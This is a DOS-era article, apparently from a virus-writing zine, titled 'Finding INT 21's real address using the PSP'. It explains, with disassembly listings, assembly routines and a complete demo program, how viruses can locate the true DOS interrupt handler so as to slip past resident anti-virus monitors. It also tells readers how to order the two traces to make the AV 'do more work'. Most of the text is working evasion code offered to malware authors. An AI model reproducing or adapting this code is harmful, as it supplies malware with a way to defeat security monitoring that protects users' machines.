home *** CD-ROM | disk | FTP | other *** search
-
-
-
- FINDING INT 21's REAL ADDRESS USING THE PSP
- ───────────────────────────────────────────
-
-
- by Satan's Little Helper
-
-
- DESCRIPTION
- ───────────
-
- The real address of interrupt 21 is useful to almost
- all viruses it enables viruses to bypass resident monitoring
- software loaded as device drivers or TSR's. This article will
- demonstrate a method by which you can obtain the real address
- of INT 21 by using the entry at offset 6 in the PSP segment.
-
- PSP:6 contains a double-word pointing (hopefully) to the
- dos dispatch handler (this is different from the INT 21
- handler). Then *optionally* the dispatch handler has a series
- of jumps (opcode=0EAh) then it will either a) point to the
- dos dispatch handler or b) the double-NOP call construct used
- in some DOS versions which will then point to (a).
-
- The dos dispatch handler and int 21 handler in memory appear
- like this:
-
- dos_dispatch_handler:
- 0000 1E push ds
- 0001 2E: 8E 1E 3DE7 mov ds,word ptr cs:[3DE7h]
- 0006 8F 06 05EC pop word ptr ds:[5ECh]
- 000A 58 pop ax
- 000B 58 pop ax
- 000C 8F 06 0584 pop word ptr ds:[584h]
- 0010 9C pushf
- 0011 FA cli
- 0012 50 push ax
- 0013 FF 36 0584 push word ptr ds:[584h]
- 0017 FF 36 05EC push word ptr ds:[5ECh]
- 001B 1F pop ds
- 001C 80 F9 24 cmp cl,24h
- 001F 77 DC ja $-22h
- 0021 8A E1 mov ah,cl
- 0023 EB 06 jmp $+8
- int21_handler:
- 0025 FA cli
- 0026 80 FC 6C cmp ah,6Ch
- 0029 77 D2 ja $-2Ch
- 002B 80 FC 33 cmp ah,33h
-
- therefore:
-
- int21_handler = dos_dispatch_handler + 25h
-
- So the end result is we just find 'dos_dispatch_hndlr'
- address then check that the opcodes are right (1E2E/FA80)
- and then add (int21_handler-dos_dispatch_hndlr) to the
- pointer to dos_dispatch_hndlr to get the INT 21 handler
- address.
-
- Simple! (read it again if you don't get it).
-
- In the case of (b) occurring we just do the same except
- the offset of the dispatch handler from the int 21
- handler is different:
-
- 0000 90 nop
- 0001 90 nop
- 0002 E8 00E0 call $+0E3h
- 0005 2E: FF 2E 1062 jmp dword ptr cs:[1062h]
- 000A 90 nop
- 000B 90 nop
- 000C E8 00D6 call $+0D9h
- 000F 2E: FF 2E 1066 jmp dword ptr cs:[1066h]
- int21_handler:
- 0014 90 nop
- 0015 90 nop
- 0016 E8 00CC call $+0CFh
- 0019 2E: FF 2E 106A jmp dword ptr cs:[106Ah]
- 001E 90 nop
- 001F 90 nop
- 0020 E8 00C2 call $+0C5h
- 0023 2E: FF 2E 106E jmp dword ptr cs:[106Eh]
- 0028 90 nop
- 0029 90 nop
- 002A E8 00B8 call $+0BBh
- 002D 2E: FF 2E 1072 jmp dword ptr cs:[1072h]
- 0032 90 nop
- 0033 90 nop
- 0034 E8 00AE call $+0B1h
- 0037 2E: FF 2E 1076 jmp dword ptr cs:[1076h]
- 003C 90 nop
- 003D 90 nop
- 003E E8 00A4 call $+0A7h
- 0041 2E: FF 2E 107A jmp dword ptr cs:[107Ah]
- dos_dispatch_handler:
- 0046 90 nop
- 0047 90 nop
- 0048 E8 009A call $+9Dh
- 004B 2E: FF 2E 107E jmp dword ptr cs:[107Eh]
-
- therefore:
-
- int21_handler = dos_dispatch_handler - 32h
-
-
- ADVANTAGES & DISADVANTAGES OF THIS METHOD
- ─────────────────────────────────────────
-
- This method requires a very small amount of code and
- can be made even more efficient than the code shown below.
-
- Although untrappable it can be confused into tracing
- into the resident monitor's trapping code. Much of the
- logic of this method is hard coded so changes in the
- opcodes (from TSR AV utilities) will be able to trick it
- into thinking it has found the correct address (this
- requires use of the double-NOP signatures).
-
- AV developers appear to be reluctant to modify their
- software for specific viruses so may avoid placing the
- sequence to confuse it into their software.
-
- CODE
- ────
-
- This code is not designed to be size efficent it is designed
- to be easy to understand.
-
- ;name: psp_trace
- ;in cond: ds=psp segment
- ;out cond: ds:bx=int 21 address if carry clear
- ; ds:bx=nothing if carry set.
- ;purpose: finds int 21 address using a PSP trace.
-
- psp_trace:
- lds bx,ds:[0006h] ;point to dispatch handler
- trace_next:
- cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ?
- jnz check_dispatch
- lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP
- cmp word ptr ds:[bx],9090h ;check for double-NOP signature
- jnz trace_next
- sub bx,32h ;32h byte offset from dispatch
- ;handler
- cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works
- jnz check_dispatch
- good_search:
- clc
- ret
- check_dispatch:
- cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override
- jnz bad_exit
- add bx,25h ;25h byte offset from dispatch
- cmp word ptr ds:[bx],80FAh ;check for cli, push ax
- jz good_search
- bad_exit:
- stc
- ret
-
- NOTES
- ─────
-
- INT 30h and INT 31h contain *code* (not an address) to
- jump to the dispatch handler so to trace using INT 30h/31h
- you just set ds:bx to 0:c0 and call the trace_next in the
- psp_trace routine.
-
- Debug hex dump of INT 30/31 addresses in the IVT:
-
- Immediate far JMP
- ____________
- -d 0:c0 | |
- 0000:00C0 EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01
- |_________| |_________|
- INT 30 INT 31
- addr addr
-
- EA 28 00 02 01 = JMP 0102:0028
-
- ;name: int30_trace
- ;out cond: ds:bx=int 21 address if carry clear
- ; ds:bx=nothing if carry set.
- ;purpose: finds int 21 address using an INT 30/31 trace.
-
- int30_trace:
- xor bx,bx
- mov ds,bx
- mov bl,0c0h ;point to 0:0c0
- jmp short trace_next
-
-
- OTHER NOTES
- ───────────
-
- After writing this I heard that the "MG" virus uses the same
- technique, I have a sample of this virus and it does not use
- the same technique.
-
-
- TESTING
- ───────
-
- So far this has been tested on MSDOS 6.x, Novell Netware,
- and IBM network software all resulting in positive tests.
-
- Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT
- could not be found. It is expected that this will not work
- on *ALL* DOS-type platforms but that is why I implemented
- error codes in the form of the carry flag being set/clear.
-
-
- CONCLUSION
- ──────────
-
- It has been shown that INT 30h/31h is slightly more
- reliable than the PSP:6 address, so if a call to psp_trace
- results in carry set then call int30_trace. The reason
- you should call PSP trace first is that altering INT 30/31
- is much easier than altering PSP:6 so it makes the AV do
- more work ;)
-
-
- CREDITS
- ───────
-
- TaLoN - helped in working out offsets and told me
- about int 30h/31h pointing to dispatch handler.
- Lookout Man - tester
- Aardvark - network tester
-
- DEMO PROGRAM
- ────────────
-
-
- ;-------8<--------cut here---------8<-------
-
- comment |
-
- TASM ASSEMBLY:
- tasm psptest.asm
- tlink /t psptest.obj
-
- A86 ASSEMBLY:
- a86 psptest.asm
- |
-
- .model tiny
- .code
-
- org 100h
-
- start:
- mov dx,offset psp_status
- call print_str ;print "PSP trace: "
- call psp_trace ;do the trace
- jc bad_psp
- print_status:
- mov dx,offset ok_str ;print "Ok!"
- call print_str
- mov dx,offset psp_addr ;print "interrupt trace to: "
- call print_str
- push bx
- mov bx,ds ;print segment
- call bin_to_hex
- call print_colon ;print ":"
- pop bx
- call bin_to_hex ;print offset
- jmp do_int30
- bad_psp:
- mov dx,offset bad_str
- call print_str
- do_int30:
- nop
- nop
- mov word ptr cs:do_int30,20CDh ;exit next time around
- mov dx,offset i30_status
- call print_str ;print "PSP trace: "
- call int30_trace
- jnc print_status
- jmp short do_int30
-
- print_str:
- mov ah,9
- push ds
- push cs
- pop ds
- int 21h
- pop ds
- ret
-
- psp_addr db 13,10,'Interrupt traced to: $'
- psp_status db 13,10,'PSP trace : $'
- i30_status db 13,10,'INT 30/31 trace: $'
- ok_str db 'Ok!$'
- bad_str db 'Failure$'
-
- ;name: psp_trace
- ;in cond: ds=psp segment
- ;out cond: ds:bx=int 21 address if carry clear
- ; ds:bx=nothing if carry set.
- ;purpose: finds int 21 address using a PSP trace.
-
- psp_trace:
- lds bx,ds:[0006h] ;point to dispatch handler
- trace_next:
- cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ?
- jnz check_dispatch
- lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP
- cmp word ptr ds:[bx],9090h ;check for double-NOP signature
- jnz trace_next
- sub bx,32h ;32h byte offset from dispatch
- ;handler
- cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works
- jnz check_dispatch
- good_search:
- clc
- ret
- check_dispatch:
- cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override
- jnz bad_exit
- add bx,25h ;25h byte offset from dispatch
- cmp word ptr ds:[bx],80FAh ;check for cli, push ax
- jz good_search
- bad_exit:
- stc
- ret
-
- ;name: int30_trace
- ;out cond: ds:bx=int 21 address if carry clear
- ; ds:bx=nothing if carry set.
- ;purpose: finds int 21 address using an INT 30/31 trace.
-
- int30_trace:
- xor bx,bx
- mov ds,bx
- mov bl,0c0h ;point to 0:0c0
- jmp short trace_next
-
- bin_to_hex: ;will print number in BX as hex
- push cx ;code stolen from KRTT demo
- push dx
- push ax
- mov ch,4
- rotate:
- mov cl,4
- rol bx,cl
- mov al,bl
- and al,0Fh
- add al,30h
- cmp al,'9'+1
- jl print_it
- add al,07h
- print_it:
- mov dl,al
- mov ah,2
- int 21h
- dec ch
- jnz rotate
- pop ax
- pop dx
- pop cx
- ret
-
- print_colon:
- mov ah,2
- mov dl,':'
- int 21h
- ret
-
- end start
-
- ;-------8<--------cut here---------8<-------
-
-